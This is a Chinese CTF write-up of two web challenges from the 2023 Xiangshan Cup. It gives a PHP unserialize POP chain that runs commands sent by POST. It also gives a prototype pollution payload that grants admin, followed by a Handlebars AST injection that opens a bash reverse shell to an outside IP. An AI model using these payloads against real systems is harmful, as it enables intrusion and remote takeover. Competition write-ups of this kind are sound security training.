[2023香山杯]WEB WP
PHP_unserialize_pro
命令执行的时候对传入参数进行检测
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
使用assert执行system(end($_POST));让命令通过POST传输,POP链构造如下
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'A_G00d_H4ck3r';
$this->arg = new H4ck3r();
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell = "system";
public $cmd = "ls";
public function __construct($shell, $cmd){
$this->shell = $shell;
$this->cmd = $cmd;
}
}
class H4ck3r{
public $func;
public function __construct(){
$this->func = new G00d("assert", 'system(end($_POST));');
}
}
$s = new Welcome();
echo serialize($s);
?>
读取flag

meow_blog
分析源码,发现使用了handlebars

根据代码逻辑需要设置req.session.user.style,而req.session.user.style在style被设置

进入这个路由需要session.user.username为admin


现在想办法成为admin,注意到middleware.js的waf部分有个collection.extend。

下载下看下extend函数的功能

当deepOrParams为true时,改函数执行的是一个深度拷贝。考虑原型链污染,修改session.user.username的值为admin,在支持post请求的/style路由处提交
{
"key": {
"__proto__": {
"session": {
"user":{
"username":"admin"
}
}
}
}
}
访问主页发现污染成功

搜索一下Handlebars RCE的Payload:Handlebars AST注入

用原型链污染修改对应的属性,执行命令反弹shell
{
"key": {
"__proto__": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": 0,
"params": [
{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.115.227.70/9999 0>&1\"').toString())"
}
],
"loc": {
"start": 0
}
}
]
}
}
}
读取flag

不过后面想了想,好像并没有执行到handlebar.complie()命令就执行了。不太清楚...